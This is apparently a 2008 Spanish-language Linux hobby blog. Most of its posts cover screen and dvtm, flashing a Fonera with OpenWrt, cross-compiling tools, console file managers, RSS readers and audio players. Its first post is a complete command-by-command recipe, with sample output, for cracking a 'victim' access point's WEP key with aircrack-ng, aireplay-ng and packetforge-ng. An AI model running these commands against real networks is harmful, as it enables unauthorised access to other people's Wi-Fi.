The tty

Inicio :: Perfil :: Archivos :: Amigos

aircrack

(Las opciones que pongo entre comillas han de ir sin ellas al escribir el comando)
a)
Terminal 1:

Levantar el interface y lanzar airodump.

sudo ifconfig rausb0 up
sudo airodump-ng -w capt rausb0

(capt es el nombre del archivo con extensión .cap donde se almacenarán las capturas)

Seleccionar una victima y volver a lanzar airodump en el canal de ésta:
sudo airodump-ng -w capt --channel "nº de canal victima" rausb0

b)
Terminal 2:
Autentificarse en el AP de la victima:

sudo aireplay-ng -1 0 -a "mac_victima" rausb0

00:06:15  Sending Authentication Request (Open System)
00:06:15  Authentication successful
00:06:15  Sending Association Request
00:06:15  Association successful :-)

c)
Terminal 3:
Lanzar ataque 4 y esperar a ver si el AP escupe algun paquete xor

sudo aireplay -4 -a "mac_victima" -h "mi_mac" rausb0

Cuando aparezca un paquete saldrá algo así:

Read 8 packets...

        Size: 72, FromDS: 1, ToDS: 0 (WEP)

              BSSID  =  00:01:38:CF:91:BB
          Dest. MAC  =  01:00:5E:00:00:01
         Source MAC  =  00:01:38:CF:60:94

        0x0000:  0842 0000 0100 5e00 0001 0001 38cf 91bb  .B....^.....8...
        0x0010:  0001 38cf 6094 8062 cc21 2200 1f62 b372  ..8.`..b.!"..b.r
        0x0020:  723b 5d37 4610 4fea b0da 6414 2d90 aaa3  r;]7F.O...d.-...
        0x0030:  a096 ab28 7832 c214 85bb 9c73 a4bb 5406  ...(x2.....s..T.
        0x0040:  4876 be5f 2826 68cd                      Hv._(&h.

Use this packet ?


Contestar "y"

Si no pilla un xor lanzar el ataque 5:
(si lo pilla pasar al punto d)

 aireplay-ng -5 -b  "mac_victima" -h "mi_mac" rausb0

 0x0000:  0842 0000 0100 5e00 0001 0001 38ca baa7  .B....^.....8...
        0x0010:  0001 38ca 345f 0047 8d6d 3600 4d18 2b8d  ..8.4_.G.m6.M.+.
        0x0020:  0e5f 3441 8aed 611c 86a6 e341 4acd 8709  ._4A..a....AJ...
        0x0030:  dbef 4828 6440 a30a 95a1 79aa eafe 9ce4  ..H(d@....y.....
        0x0040:  817e 106c 1db8 7717                      .~.l..w.

Use this packet ? 
( contestar "y" )

Saving chosen packet in replay_src-0101-001954.cap
00:20:44  Data packet found!
00:20:44  Sending fragmented packet
00:20:44  Got RELAYED packet!!
00:20:44  Trying to get 384 bytes of a keystream
00:20:44  Got RELAYED packet!!
00:20:44  Trying to get 1500 bytes of a keystream
00:20:44  Got RELAYED packet!!
Saving keystream in fragment-0101-002044.xor
Now you can build a packet with packetforge-ng out of that 1500 bytes keystream


d)
Ahora hay que crear un paquete para inyectar, usando el archivo fragment....xor:
 
packetforge-ng -0 -a "mac_victima"  -h "mi_mac" -k 192.168.1.100 -l 192.168.1.1 -y fragment-0101-002044.xor -w arp

Si está bien el comando saldra: Wrote packet  to: arp

Las opciones -l y -k no sé si son necesarias o si sirve poner en ambas 255.255.255.0
-y "nombre del paqute xorg guardado anteriormente"
-w "nombre que le vayamos a dar al paquete para inyectar"

e)
Ahora toca inyectar el paquete:

 aireplay-ng -2 -r arp rausb0

 Size: 68, FromDS: 0, ToDS: 1 (WEP)

              BSSID  =  00:01:38:CA:BA:A7
          Dest. MAC  =  FF:FF:FF:FF:FF:FF
         Source MAC  =  00:18:84:80:2C:A5

        0x0000:  0841 0201 0001 38ca baa7 0018 8480 2ca5  .A....8.......,.
        0x0010:  ffff ffff ffff 8001 a26d 3600 66e5 0fb1  .........m6.f...
        0x0020:  1a22 9b19 fceb b86f 1bec aa21 69f0 5fff  .".....o...!i._.
        0x0030:  d2f8 af41 9e41 8b41 fe73 40df e1a5 3ac6  ...A.A.A.s@...:.
        0x0040:  cc17 5784                                ..W.

Use this packet
?
( Contestar "y" )

Saving chosen packet in replay_src-0101-002626.cap


Y los data en airodump empiezan a subir a toda velocidad.

f)
Cuando el número de paquetes ronde los 40.000 lanzamos desde otro terminal:

aircrack-ng capt.cap
o bien
aircrack-ptw capt.cap

(En realidad el archivo de capturas tendrá la forma: capt-01.cap)
Si no pasa nada es que son aún pocos los paquetes capturados, esperamos a que aumenten y se repite la operación hasta que escupa la clave wep.

  

date: 19/11/2008

screen

/etc/screenrc

startup_message off
deflogin on
vbell on
vbell_msg "   Wuff  ----  Wuff!!  "
defscrollback 1024
bind ^k
bind ^
bind \ quit
bind K kill
bind I login on
bind O login off
bind } history
termcapinfo vt100 dl=5E[M
hardstatus off
termcapinfo xterm*|rxvt*|kterm*|Eterm* hs:ts=E]0;:fs=:ds=E]0;
hardstatus string "%h%? users: %u%?"
termcapinfo xterm*|linux*|rxvt*|Eterm* OP
termcapinfo xterm 'is=E[rE[mE[2JE[HE[?7hE[?1;4;6l'
termcapinfo xterm|xterms|xs|rxvt ti@:te@
screen -t irssi irssi
screen -t orpheus orpheus
screen -t alsamixer alsamixer
hardstatus on                                                                  
hardstatus string "%{.kB}%-w%{.kY}%n %t%{-}%+w %=%{..B} %H %{..Y} %d/%m %C%a " 
hardstatus alwayslastline      




  

date: 11/11/2008 cat: rc

Flashear la fonera (chuleta)

 
Configurar la interface en el pc como estática con los valores:

address 192.168.1.xx
netmask 255.255.255.0
network 192.168.0.0
broadcast 192.168.0.255


Conectar el PC y la fonera con el cable ethernet y reiniciar la red.

Crear un archivo ~/.telnetrc con el siguiente contenido:
192.168.1.1 9000
mode line


tal como está, respetando los espacios.

Instalar el servidor de tftp :
apt-get install tftpd-hpa


Para kamikaze 8.09 :
Descargar los archivos openwrt-atheros-root.squashfs y openwrt-atheros-vmlinux.lzma en /var/lib/tftpboot.

Para kamikaze 7.09 :
Descargar openwrt-atheros-2.6-root.squashfs y openwrt-atheros-2.6-vmlinuz.lzma
En caso de usar este firmware hay que cambiar el nombre el  las órdenes load una vez en el redboot:
load -r -v -b 0x80041000 openwrt-atheros-2.6-root.squashfs
load -r -b %{FREEMEMLO} openwrt-atheros-2.6-vmlinux.lzma

Asegurarse de que el tftp está arrancado.

Poner en un terminal:
telnet 192.168.1.1 9000
enchufar la fonera y pulsar enter.
El mejor momento para pulsar enter es cuando se enciende el led del medio, a los pocos segundos de conectarla.
Si todo va bien...

Connected to 192.168.1.1.
Escape character is '^]'.
== Executing boot script in 1.060 seconds - enter ^C to abort
^C
RedBoot>

Una vez en el Redboot ejecutar los siguientes comandos:

fis init
ip_addr -h 192.168.1.xx -l 192.168.1.1/24
load -r -v -b 0x80041000 openwrt-atheros-root.squashfs
fis create -b 0x80041000 -f 0xA8030000 -l 0x006F0000 -e 0x00000000 rootfs
load -r -b %{FREEMEMLO} openwrt-atheros-vmlinux.lzma
fis create -r 0x80041000 -e 0x80041000 vmlinux.bin.l7
fis load -l vmlinux.bin.l7
exec

· Contestar Yes tras el comando fis init
· En ip_addr -h poner la ip de la interface en el pc
. Si da error de Time out con el load puede ser porque no esté arrancado tftpd, o que el firewall impida la conexión; es ese caso desactivarlo.
· El primer fis create tarda unos 20 minutos y el segundo entre 5  
y 10; conviene armarse de tabaco y paciencia.
. Despues de exec pulsar enter , esperar un minuto y  pulsar enter otra vez. Se cerrará la sesión telnet.
· Sin apagar la fonera, entrar por telnet 192.168.1.1 23 y cambiar clave de root. La próxima vez entraremos con  ssh root@192.168.1.1

  

date: 8/11/2008 cat: fonera

Compilando OpenWrt


Descargo en primer lugar toda la rama de desarrollo del svn de OpenWrt:

~$ svn co https://svn.openwrt.org/openwrt/trunk/

Error validando el certificado del servidor de 'https://svn.openwrt.org:443':
- El certificado no fue emitido por una autoridad marcada como

( Bla, bla, bla... )

- "Huella": a1:0a:d8:2d:af:4e:67:92:18:a0:27:b6:9f:2b:e1:12:08:28:a0:b1
¿(R)echazar, aceptar (t)emporariamente o aceptar (p)ermanentemente? t

Se nos crea en el HOME un directorio trunk/ con todo el tinglado necesario para compilar .
Es necesario tener instalados los siguientes paquetes gcc, binutils, patch, bzip2, flex, bison,make, gettext, pkg-config, unzip, ibz-dev y libc headers para que no nos de error el
~/trunk$ make menuconfig donde podremos configurar el toolchain y el firmware:



Hago los cambios oportunos y salgo guardándolos.
Continúo con un interminable
~/trunk$ make
que descargará las fuentes, construirá las herramientas para la compilación cruzada y compilará el firmware.

:~/trunk$ make
++ mkdir -p /home/kir/trunk/staging_dir/toolchain-mips_gcc4.1.2
++ cd /home/kir/trunk/staging_dir/toolchain-mips_gcc4.1.2
++ mkdir -p bin lib include stamp
Checking 'bison'... ok.
make[1] world
make[2] tools/install

( Más bla, bla, bla )

make[2] package/rootfs-prepare
make[3] package/preconfig
make[2] target/install
make[3] -C target/linux install
make[3] -C target/sdk install
make[2] package/index


En ~/trunk/bin tendremos nuestro nuevo firmware con el que podremos flashear la fonera.

*Compilar programas

Preparo un script llamado sdk el cual al invocarlo con el menu ( uso pekwm como gestor de ventanas ) exporta la variable $PATH con la ruta hacia los binarios del compilador y la variable CC para que use el compilador de C para architectura MIPS.

export PATH=$PATH:/home/kir/trunk/staging_dir/toolchain-mips_gcc4.1.2/bin/
export CC=mips-linux-uclibc-gcc
cd /home/kir/trunk/package
TERM="xterm -fn fixed +sb -bg black -fg green -T sdk"
$TERM


Doy permiso de ejecución al script y lo guardo en un directorio en la ruta del PATH.

En ~/.pekwm/menu añado una entrada que llama a un xterm con los settings anteriores:
Entry = "SDK" { Actions = "Exec $TERM -iconic -e sdk &" }

* wavemon

Descargo las sources de wavemon con apt en /home/kir/trunk/package , aplico el parche http://kir.sdf-eu.org/wavemon_patch/ y hago un ./configure --host=mips-linux.
No da ningun error y ejecuto un make:
Ahora sí que da error, no encuentra ncurses.h
mips-linux-uclibc-gcc -O2 -Wall -c -o ui.o ui.c
ui.c:25:21: error: ncurses.h: No such file or directory

Creo que toca compilar ncurses.

$ cd build_dir/mips/ncurses-5.6/
./configure --host=mips-linux
make

Copio los archivos de ~/trunk/build_dir/mips/ncurses-5.6/lib
y ~/trunk/build_dir/mips/ncurses-5.6/include a ~/trunk/staging_dir/toolchain-mips_gcc4.1.2/include
y bin/
respectivamente.Creo el enlace simbólico ncurses.h que apunta a curses.h y repito el make para wavemon.
Aparecen varios warning pero finalmente compila sin errores:
file wavemon
wavemon: ELF 32-bit MSB executable, MIPS, version 1 (SYSV), dynamically linked (uses shared libs), not stripped
ls -l wavemon
-rwxr-xr-x 1 kir kir 78695 2008-09-17 09:34 wavemon

A continuación "estripo" el binario para que ocupe menos:
mips-linux-strip wavemon
file wavemon
wavemon: ELF 32-bit MSB executable, MIPS, version 1 (SYSV), dynamically linked (uses shared libs), stripped
ls -l wavemon
-rwxr-xr-x 1 kir kir 71280 2008-09-17 09:41 wavemon
.
Con strip el binario se redujo de 78965 a 71280 bytes.
Sólo queda pasarlo a la fonera con scp, wget o como nos venga en gana y disfrutarlo:

* Netdiscover

Descargo las fuentes de netdiscover con apt:
~/trunk/package$ apt-get source netdiscover
cd netdiscover-0.3beta6/
~/trunk/package/netdiscover-0.3beta6$ ./configure --host=mips-linux
.....
checking for pcap.h... no
configure: error: Cannot find pcap.h - You need libpcap installed.


Necesita libpcap, que ya está en
~/trunk$ cd build_dir/mips/libpcap-0.9.8/

En ~/trunk/build_dir/mips/libpcap-0.9.8/ipkg-install/usr tenemos los directorios include/ y lib/ . Copio su contenido a ~/trunk/staging_dir/toolchain-mips_gcc4.1.2/include y lib/ como anteriormente y repito el .configure
./configure --host=mips-linux

checking for libnet.h... no
configure: error: Cannot find libnet.h - You need libnet installed.


Bien, ya tragó con libpcap pero se atraganta con libnet, así que lo descargo.
~/trunk/package$ wget http://downloads.openwrt.org/sources/libnet.tar.gz
~/trunk/package$ tar zxvf libnet.tar.gz
~/trunk/package$ cd libnet/

El configure no da problemas pero make muestra un error:
In file included from libnet_asn1.c:60:
../include/libnet.h:117:10: error: macro names must be identifiers

Edito la línea que es un #define 1 y la cambio a #define LIBNET_BIG_ENDIAN 1
A continuación ejecuto el make sin ningún error (aunque da varios warnings) pero no me aparece ningun directorio con las librerias.
Cambio la estrategia e instalo otra versión desde el mismo ftp de OpenWrt: wget http://downloads.openwrt.org/sources/libnet-1.0.2a.tar.gz

Descomprimo, cambio al directorio, bla, bla, bla... y no funciona.

Nuevo intento descargando libnet con apt
~/trunk/package$ apt-get source libnet1
...
In file included from libnet_asn1.c:60:
../include/libnet.h:117:10: error: macro names must be identifiers

Ya empezamos ...
Edito y añado LIBNET_BIG_ENDIAN a la linea del #define 1 (#define LIBNET_BIG_ENDIAN 1) y voilà que compila el jodido!
Ahora toca copiar los archivos .h y las librerias como anteriormente.. y sigue sin ir la cosa.

Vuelvo a ejecutar el configure con la opción --prefix:
./configure --host=mips --prefix=/home/kir/trunk/staging_dir/toolchain-mips_gcc4.1.2/
make
make install


Compila y se instala sin errores; cambio al directorio de netdiscover y
~/trunk/package/netdiscover-0.3beta6$ ./configure --host=mips-linux

y....

checking libnet.h usability... yes
checking libnet.h presence... yes
checking for libnet.h... yes

~/trunk/package/netdiscover-0.3beta6$ make
O.K.
cd src
file netdiscover
netdiscover: ELF 32-bit MSB executable, MIPS, version 1 (SYSV), dynamically linked (uses shared libs), not stripped
ls -l netdiscover
-rwxr-xr-x 1 kir kir 441081 2008-09-18 09:36 netdiscover
mips-linux-strip netdiscover
file netdiscover
netdiscover: ELF 32-bit MSB executable, MIPS, version 1 (SYSV), dynamically linked (uses shared libs), stripped
ls -l netdiscover
-rwxr-xr-x 1 kir kir 367388 2008-09-18 09:38 netdiscover


Parece ser que para usar nuevas librerías, hay que compilarlas hay que usando la opción --prefix en el ./configure; así le indicamos el compilador dónde está el lib/ y el /include .

Los binarios están en http://kir.sdf-eu.org/kamikaze_808



Enlaces:
Documentación de Kamikaze
OpenWrt Programming
Build-root documentation
Compilación cruzada

  

date: 8/11/2008 cat: fonera

A Slack Dialog


/etc/dialogrc
# $Id: slackware.rc,v 1.2 2001/12/02 21:19:05 Patrick.J.Volkerding Exp $
# Run-time configuration file for dialog, matches Slackware color scheme.
use_shadow = ON
use_colors = ON
screen_color = (WHITE,BLACK,OFF)
shadow_color = (WHITE,BLACK,OFF)
dialog_color = (GREEN,BLACK,OFF)
title_color = (YELLOW,BLACK,ON)
border_color = (BLACK,BLACK,ON)
button_active_color = (WHITE,BLUE,ON)
button_inactive_color = (WHITE,BLACK,OFF)
button_key_active_color = (WHITE,BLUE,ON)
button_key_inactive_color = (CYAN,BLACK,OFF)
button_label_active_color = (WHITE,BLUE,ON)
button_label_inactive_color = (WHITE,BLACK,ON)
inputbox_color = (BLUE,WHITE,OFF)
inputbox_border_color = (BLACK,BLACK,ON)
searchbox_color = (YELLOW,WHITE,ON)
searchbox_title_color = (WHITE,WHITE,ON)
searchbox_border_color = (RED,WHITE,OFF)
position_indicator_color = (YELLOW,BLACK,OFF)
menubox_color = (GREEN,BLACK,OFF)
menubox_border_color = (BLACK,BLACK,ON)
item_color = (GREEN,BLACK,OFF)
item_selected_color = (RED,BLACK,OFF)
tag_color = (YELLOW,BLACK,ON)
tag_selected_color = (WHITE,BLUE,OFF)
tag_key_color = (CYAN,BLACK,OFF)
tag_key_selected_color = (GREEN,BLUE,ON)
check_color = (CYAN,BLACK,OFF)
check_selected_color = (WHITE,CYAN,ON)
uarrow_color = (GREEN,BLUE,ON)
darrow_color = (GREEN,BLUE,ON)
itemhelp_color = (GREEN,BLACK,OFF)





  

date: 4/11/2008 cat: rc

Consolas virtuales




En cualquier instalación estándar de linux disponemos de 6 terminales de consola. Pulsando ALT + F1...F6 accedemos a cada uno de ellos.
Con screen se puede iniciar una sesión con tantos terminales virtuales como queramos en un mismo terminal. Con dvtm podremos abrir distintos terminales visibles dentro del mismo terminal.

· dvtm
dvtm es un gestor dinámico de terminales virtuales. Nos permite dividir el terminal en dos o más terminales virtuales y cambiar entre ellos con una combinación de teclas. Quizás se entienda mejor esto en la captura (un xterm con tres terminales virtuales abiertos):


Una vez descargado el código fuente y desempaquetado editamos el archivo config.mk si queremos cambiar el directorio de instalación (por defecto /usr/local) y config.h para modificar el comportamiento de las teclas. Asegurandonos de tener instalado libncurses5 o libncursesw5 (si nuestras locales son utf8) ejecutamos make ( o make unicode) y make install.
Ejecutamos el programa escribiendo dvtm en una consola. El manejo del programa es simple; pulsando Ctrl + g ( así es como viene configurado por defecto) y a continuación otra tecla se ejecutará la acción deseada.
Las teclas básicas (precedidas de Ctrl + g) son:

c Crea una nueva ventana de shell.
j Cambia entre ventanas.
1..n Va a la ventana número n.
space Cambia entre distintos esquemas de organización en las ventanas.
. Minimiza la ventana actual.
l Incrementa el ancho e la ventana.
h Decrementa el ancho de la ventana.














Captura de un tty con dvtm dentro de un screen
Para una información más completa sobre todas las combinaciones consultar las páginas del manual.


· screen
Screen es una herramieta que suele venir incluida en cualquier distribución Linux que permite, entre otras cosas el uso de varios terminales en un mismo terminal.
El comando screen a secas nos abrirá un terminal con un shell donde podemos lanzar una aplicación. Podemos abrir una sesión screen y una vez en ella pulsar C-a d y dejar libre el terminal, mientras que las aplicaciones seguirán corriendo. Un screen -r nos recuperará la sesión.
Si la aplicación es lanzada en consola TTY, en X Window la recuperamos con screen -x.
Por ejemplo, se puede abrir un screen con irssi en consola y seguir el chat desde un entorno de ventanas, pero si rompe xorg, las aplicaciones seguirán ejecutándose en la consola.
A su vez, si ejecutamos la combinación de teclas Ctrl a y a continuación c(reate) nos creará otro shell superpuesto al anterior. Todas los comandos de tecla en screen van precedidos de la combinación Ctrl a que en adelante omitiré. Podemos ir de un shell a otro pulsando n(ext) o p(revious).

Tambien podemos definir en /etc/screenrc una serie de aplicaciones que se iniciarán automáticamente al ejecutar el comando screen :

/etc/screenrc
startup_message off
deflogin on
vbell on
vbell_msg " Wuff ---- Wuff!! "
defscrollback 1024
bind ^k
bind \ quit
bind K kill
bind I login on
bind O login off
bind } history
termcapinfo vt100 dl=5E[M
hardstatus off
termcapinfo xterm*|rxvt*|kterm*|Eterm* hs:ts=E]0;:fs=:ds=E]0;
hardstatus string "%h%? users: %u%?"
termcapinfo xterm*|linux*|rxvt*|Eterm* OP
termcapinfo xterm 'is=E[rE[mE[2JE[HE[?7hE[?1;4;6l'
screen -t rtorrent rtorrent
screen -t orph orph
screen -t irssi irssi
hardstatus on
hardstatus string "%{.kB}%-w%{.kY}%n %t%{-}%+w %=%{..B} %H %{..Y} %d/%m %C%a "
hardstatus alwayslastline














La penúltima línea del script de configuración sirve para establecer la línea de estado en la parte inferior de la pantalla, mostrando las shells abiertas numeradas y el nombre de la aplicación que se está ejecutando en cada una de ellas. Tambien muestra el nombre del host, la fecha y la hora.

Teclas más usuales dentro de screen (todas precedidas de Ctrl +a)

c Crea una nueva ventana
n Va a la próxima ventana
p Va a la ventana anterior
0..9 Va a la ventana según la numeración
" Lista las ventanas abiertas, pudiendo navegar entre ellas
con j y k y pulsando Enter para seleccionar
w Lista de ventanas no interactiva
A Cambia el nombre de la ventana
[ Copiar
] Pegar
? Ayuda
d Despega la sesión screen del terminal


Screen tiene muchas funcionalidades más que se alejan del alcance de este escrito; man screen es fundamental.

  

date: 4/11/2008 cat: consola

File Managers




Existen varios File Managers en linux para usar en la consola:

vfu




ytree



lfm



lfm es un clon de Midnight Commander ( a su vez clon de Norton Commander ) escrito en python.

fd



...y el Comandante Medianoche, mc.



· Midnight Commander ( mc )

Midnight commander (mc) es un administrador de archivos en modo texto con
interface ncurses que puede gestionar conexiones FTP, ssh y samba; mover, borrar,
copiar directorios y archivos. Crear, borrar o editar enlaces. Ver cualquier
tipo de archivo invocando programas externos de acuerdo con las extensiones:
texto, html, audio, video, gráficos,paquetes comprimidos, paquetes .deb, rpm...

Trae su propio editor, mcedit, aunque tambien se puede editar un fichero
usando la opción -e, --edit ( mc -e file ).
Permite el uso del ratón cuando lo ejecutamos dentro de un xterm, o en
consola si tenemos el servidor gpm.

La pantalla principal consta de dos paneles donde se ve el sistema de archivos
y una línea de órdenes. El cambio de un panel a otro se hace pulsando Tab.
Tambien puede usarse un panel para el sistema de archivos y el otro para una
vista rápida de estos.
La línea inferior muestra las etiquetas de las teclas de
función, y la línea superior un menú, accesible pulsando F9.

Puede modificarse los colores de presentación iniciando con la opción -b
(blanco y negro) o bien editando el archivo ~/.mc/ini en la sección [Colors].


Teclas de función:

F1 Ayuda
F2 Menú
Muestra un menú de usuario.
F3 Ver
F4 Editar
F5 Copiar
Copia archivos de un panel a otro.
F7 Makedir
F8 Borrar
F9 Menú
Activa el menú superior.
F10 Salir

El menú superior proporciona acceso a la configuración del programa y un gran
número de acciones sobre directorios y archivos:

Izquierdo-Derecho
Listado Permite configurar la presentación de la
información de los archivos ( listado completo, breve,
largo, definido por el usuario ).

Vista rápida El panel actual muestra el contenido del
fichero seleccionado el el otro panel.

Información El panel actual muestra información
sobre el fichero seleccionado el el otro panel.

Árbol

Panel codepage Escoger la codificación para el panel.

Ordenar por nombre, extensión, fecha de modificación,
fecha de acceso, fecha de cambio, tamaño o inodo.

Filtro Nos permite usar un patrón para seleccionar los
archivos a listar.

Conexión por FTP

Conexión por Shell

Conexión por Samba

Actualizar

Archivo
Menú de usuario
Ver archivo
Ejecutar y ver
Editar
Copiar
Cambiar permisos
Crear enlace
Crear enlace simbólico
Editar enlace simbólico
Cambiar dueño
Cambiar dueño y permisos
Renombrar/mover
Crear directorio
Borrar
Cambiar directorio
Seleccionar grupo
Deseleccionar grupo
Invertir la selección

Utilidades
Árbol de directorios
Buscar archivos
Intercambiar paneles
Activar/desactivar paneles
Comparar directorios
Búsquedas externas
Tamaño de los directorios
Historial de órdenes
Favoritos
Directorios virtuales (VFS)
Procesos en 2º plano
Editar archivo de extensiones
Editar archivo de menú
Editar menú del editor
Editar archivo de sintaxis

Opciones
Configuración
Presentación
Confirmación
Juego de caracteres
Redefinir teclas
Sistema dee archivos virtual (VFS)
Guardar configuración


El uso de estos menús y todas las posibilidades que aportan está ampliamente
explicado en la extensa página de manual (man mc)
  

date: 4/11/2008 cat: file manager

F1


Quien sea aficionado a la Fórmula 1 puede seguir la evolución de las carreras entrando en la página http://www.formula1.com/.

Tras un obligatorio registro un cliente en Java nos mostrará información en tiempo real de la carrera: Número y nombre de los pilotos, posición, número de vueltas, tiempos por vuelta y sector...
Con live-f1 podremos ver lo mismo desde un terminal de consola sin usar ningún navegador con cliente Java.


Descargamos el programa de ftp://ftp.netsplit.com/pub/live-f1/0.2/live-f1-0.2.7.tar.gz y una vez desempaquetado y situados en su directorio compilamos con ./configure, make y make install.
El programa necesita las librerías ncurses 5.5 o superior (libncurses5-dev) y libneon 0.24 o superior (libneon24-dev o libneon25-dev).
La primera vez que ejecutemos el programa nos pedirá el e-mail y password con el que nos hemos registrado y lo guardará en el fichero .f1rc en nuestro /home.

Por puro divertimento he compilado una versión del programa para la Fonera descargable aquí.    

date: 4/11/2008 cat: consola

RSS











· snownews

Snownews es un lector de RSS en modo texto para consolas UNIX.Para su instalación necesita tener instaladas las librerías Ncurses 5.0 o superior, libxml2, gettex y libiconv. Podemos descargar las fuentes de http://kiza.kcore.de/software/snownews/download/snownews-1.5.10.tar.gz y compilarlo, (./configure; make ; make install) o bien instalar el binario que seguramente tendremos disponible en los repositorios de nuestra distribución linux.Una vez iniciado entramos en la pantalla principal donde podemos añadir, borrar y actualizar los feeds. A la izquierda nos muestra la lista de los sitios agregados y a la derecha el número de noticias nuevas de esta y opcionalmente una etiqueta que escogeremos a nuestro gusto. Con las flechas de direccion (arriba, abajo) nos movemos entre los feeds y con Enter seleccionamos y pasamos a la segunda pantalla. Aquí se nos muestra la lista de noticias correspondientes al sitio seleccionado, en distinto color que indica las que ya hemos leido y las que no. Nuevamente con las teclas de cursor seleccionamos y con Enter pasamos a ver un resúmen de la noticia. Pulsando o nos abre un navegador web en el que podemos ver la noticia completa. Podemos usar el navegador por defecto del sistema o configurarlo con el que más nos guste. Pulsando h en cualquier pantalla tendremos un menú de ayuda para esa pantalla. Los comandos son simples, de una sola tecla.Los comandos principales de la primera pantalla son:












a    Añade un nuevo RSS
B    Cambia el browser por defecto
D    Borra el Rss seleccionado
c    Renombra el feed
R    Recarga todos los feeds
r    Recarga el feed seleccionado
m    Marca todo como leido
s    Ordena los feeds por orden alfabético
C    Permite etiquetar los feeds
f    Aplica un filtro
F    Elimina el filtro
E    Muestra el log de errores
En ~/.snownews tenemos los archivos de configuración, donde podemos cambiar, editandolos, el navegador por defecto, las teclas asignadas a comandos o definir la conversión de entidades XML.

· raggle
Raggle es otro agregador RSS para consola, escrito en Ruby. Tiene teclas personalizables, render básico de HTML, soporte para varias versiones de RSS, soporte de screen, detección de browser, etc.Podemos descargar el código fuente de http://raggle.org/files/ si no lo tenemos disponible en los repositorios.Consta de una pantalla dividida en 3 ventanas. En la ventana de la izquierda tenemos la lista de sitios agregados; en la derecha, arriba, el título de los posts de la URL seleccionada y en la ventana inferior una descripción y el texto del post. Nos movemos entre las ventanas con la tecla Tab o con las flechas Derecha, Izquierda.Con las teclas de dirección nos moveremos arriba y abajo en la lista o al las ventanas anterior o siguiente.Las teclas más usuales son estas:












Tab    Cambia entre las ventanas  
Ret    Selecciona ítem  
a      Añade una URL  
DEL    Borra el RSS seleccionado  
o      Abre el feed actual en el navegador  
e      Edita las opciones del feed actual  
m      Marca como ya leido  
s      Ordena la lista  
c      Selecciona una categoría a para ver  
C      Cierra la ventana actual  
?      Muestra un popup con las teclas de comando  
!      Sale al shell; con exit volvemos a raggle
En las páginas man hay una descripción completa de todas las teclas y opciones del programa.

  

date: 3/11/2008

Orpheus y Alsamixer

· orpheus
Orpheus es un reproductor de audio en modo texto con interface ncurses que puede reproducir mp3, ogg, CD y  streaming de audio presentando un menú bastante intuitivo.
Start/Stop       enter/s
Pause            space/p
Adelante/atrás   ][ }{
Añde broadcast   b
Ant/Siguiente    +/-
Arriba/abajo     <-/->
Editar tags      e
Buscar tracks    /
Load/Save list   f3/f2
Playlist actual  tab
Clear list        !
Read CD          f5
Eject CD         j
Configurar       c
Mixer            m

Se puede manejar remotamente con el siguiente comando:
orpheus -r
          next                 Reproduce el próximo track                      prev                 Reproduce el track previo
           add [files]                 Añade archivos a la lista de reproducción         
 load [playlist]                 Carga la lista de reprodución especificada
           play [n]                 Va al track nº n de la lista de reproducción

               
Archivos de configuración
Archivo ~/.orpheus/config
mp3player       mpg321 -o alsa -R -
oggplayer       ogg123 -v
streamplayer    ogg123 -v
cddev   /dev/cdrom
mixerdev        /dev/mixer
proxy
radioxml        mms://a1830.l830120550.c8301.e.lm.akamaistream.net /D/1830/8301/v0001/reflector:20550           
autofetch       1
russian 0
autosavepl      1
autoplay        1
playmode        0
sortorder       4
sortasc 1

Archivo ~/.orpheus/colors

status  black/white
normal_text     green/transparent
frames  blue/transparent        bold
highlight       yellow/transparent      bold
dialog_text     black/white
dialog_frames   blue/white
dialog_highlight        red/white
dialog_selected white/black     bold

El contenido del archivo ~/.orpheus/currently_playing puede ser usado para mostrar información sobre lo que está sonando en conky o en el chat, por ejemplo: exec -out cat ~/.orpheus/currently_playing

· alsamixer
Alsa mixer es un mezclador de audio con interface ncurses para usar con los drivers de sonido de ALSA. Viene incluido en el paquete alsa-utils.
Los comandos más básico son:

Iz/Drch
       Seleccionar un canal.
Up/Dwn
       Controla el volúmen del canal seleccionado (las dos señales, izquierda y derecha                 a la vez ).
B         Ajusta el balance de las señales izquierda y derecha.
M
         Cambia el estado de Mudo a Activo
Esc
       Abandona el programa (pulsando 2 veces).    

date: 3/11/2008 cat: sonido

bloginom - blog gratis, opciones y plantillas exclusivas e personalizables :: nominom © 2005